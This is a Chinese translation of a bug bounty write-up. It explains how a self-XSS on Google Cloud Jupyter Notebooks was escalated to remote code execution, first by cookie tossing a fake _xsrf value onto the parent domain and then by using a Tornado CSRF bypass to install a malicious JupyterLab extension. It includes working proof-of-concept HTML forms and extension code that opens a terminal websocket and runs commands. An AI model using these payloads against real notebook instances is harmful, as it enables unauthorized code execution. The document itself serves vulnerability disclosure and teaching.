原文:
https://blog.s1r1us.ninja/bug-bounty/cookie-tossing-to-rce-on-google-cloud-jupyter-notebooks
如何找到这个bug?
我对AI和CTF非常感兴趣,而且我在数据科学部门实习,我经常使用google的Jupyter Notebooks训练模型。Google会为每个人创建个虚拟机并且分配一个随机域名。(random-id.notebooks.googleusercontent.com)
Self XSS
在Jupyter Notebooks我们可以自己编辑主页,可以写一个XSS,但是这没啥影响,因为这是个self xss。我想扩大影响,所以我开始看他们的CORS实现有没有问题。但是他们通过cookie里的_xsrf参数和请求头里的X-XSRFToken 参数来防御 CSRF.如果这两个值是相同的,则通过。
Self xss到DOS
然后在A.notebooks.googleusercontent.com的 cookie里设置cookie:_xsrf=1;domian: .notebooks.googleusercontent.com来在父域上设置_xsrf=1,这样受害者访问了我们的页面之后,两个值永远不可能相同,所有请求都会被丢弃。造成了DOS。但是着还是没啥利用。
CSRF 在Tornado上
Jupyter使用的是Tornado框架。Tornado防范CSRF说明里有一段很有趣:
如果xsrf_cookies被设置了,Tornado web服务会拒绝所有不包含正确值的POST,PUT,DELETE请求。如果启用此设置,则需要检测通过POST提交的所有包含此字段的表单。您可以使用特殊的UIModule xsrf_form_html()(在所有模板中都可用)来执行此操作。
xsrf_form_html():
def xsrf_form_html(self) -> str:
"""An HTML ``<input/>`` element to be included with all POST forms.
It defines the ``_xsrf`` input value, which we check on all POST
requests to prevent cross-site request forgery. If you have set
the ``xsrf_cookies`` application setting, you must include this
HTML within all of your HTML forms.
In a template, this method should be called with ``{% module
xsrf_form_html() %}``
See `check_xsrf_cookie()` above for more information.
"""
return (
'<input type="hidden" name="_xsrf" value="'
+ escape.xhtml_escape(self.xsrf_token)
+ '"/>'
)
这意味着我们可以在URL请求数据里放上CSRF token来代替请求头里。
Cookie优先级
我们不需要担心Cookie的优先级,因为基本域上的cookie优先于子域上的cookie。
POST /test HTTP/1.1
.....
Cookie: _xsrf=actual_cookie; _xsrf=fake_one
POC for CSRF
<!-- https://attacker(randomId)-dot-us-west1.notebooks.googleusercontent.com/ -->
<html>
<form action="https://victim(randomId)-dot-us-west1.notebooks.googleusercontent.com/lab?authuser=1/lab/api/extensions?_xsrf=1" method="POST" enctype="text/plain">
<input type="hidden" name="any post data" />
<input type="submit" value="Submit request" />
</form>
<script type="text/javascript">
var base_domain = document.domain.substr(document.domain.indexOf('.'));
document.cookie='_xsrf=1;Domain='+base_domain;
console.log('done');
document.forms[0].submit();
</script>
</html>
现在我们有了CSRF
Jupyter Lab Extensions for RCE
JupyterLab扩展可以自定义或增强JupyterLab的任何部分。他们可以提供新的主题,文件查看器和编辑器或渲染器,以实现笔记本中的丰富输出。扩展程序可以将项目添加到菜单或命令选项板,键盘快捷键或设置系统中的设置。
我首先看的是扩展,因为扩展使我们可以在受害实例中运行任意代码。
事实证明,这是与CSRF一起使用的,我们可以在受害笔记本实例中安装任意扩展。
现在的任务是创建一个恶意扩展,以在受害笔记本实例中提供RCE。
我创建了此扩展程序,该扩展程序打开了到终端端点的WebSocket连接并运行任意代码。(可以通过其他更简单的方法来完成)
import {
JupyterFrontEnd, JupyterFrontEndPlugin
} from '@jupyterlab/application';
const extension: JupyterFrontEndPlugin<void> = {
id: 'test',
autoStart: true,
activate: (app: JupyterFrontEnd) => {
alert(document.cookie);
console.log("started !!!");
var xhttp = new XMLHttpRequest;
var termUri = location.origin + "/api/terminals";
xhttp.open("POST", termUri, true);
xhttp.withCredentials = true;
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
console.log("request successfull!!! ");
var resp = xhttp.responseText.split('"');
var terminal_id = resp[3];
var wsUri = "wss://"+location.host+"/terminals/websocket/"+terminal_id;
var ws = new WebSocket(wsUri);
ws.onopen = function(evt) {
ws.send('["stdin","touch pwned.txt\\r"]');
};
console.log("file created pwned.txt!!! ");
}
};
xhttp.send();
}
};
export default extension;
最终POC
<html>
<form action="https://randomid-dot-australia-southeast1.notebooks.googleusercontent.com/lab/api/extensions?_xsrf=1" method="POST" enctype="text/plain">
<input type="hidden" name="{\"cmd\":\"install\",\"extension_name\":\"@mohansrk/test\",\"dummy\":\"\" value=\"dummy\"}" />
<input type="submit" value="Submit request" />
</form>
<script type="text/javascript">
var base_domain = document.domain.substr(document.domain.indexOf('.'));
document.cookie='_xsrf=1;Domain='+base_domain;
console.log('done');
document.forms[0].submit();
</script>
</html>
译者按:
作者从一个修改自己页面造成的self_xss,然后先利用cookie里的domain字段,在父域共享cookie,造成了DOS,然后又从文档里发现可以通过URL发送csrf_token绕过防御实现CSRF。最后配合一个RCE,实现self-xss到RCE.
本文迁移自知识星球“火线Zone”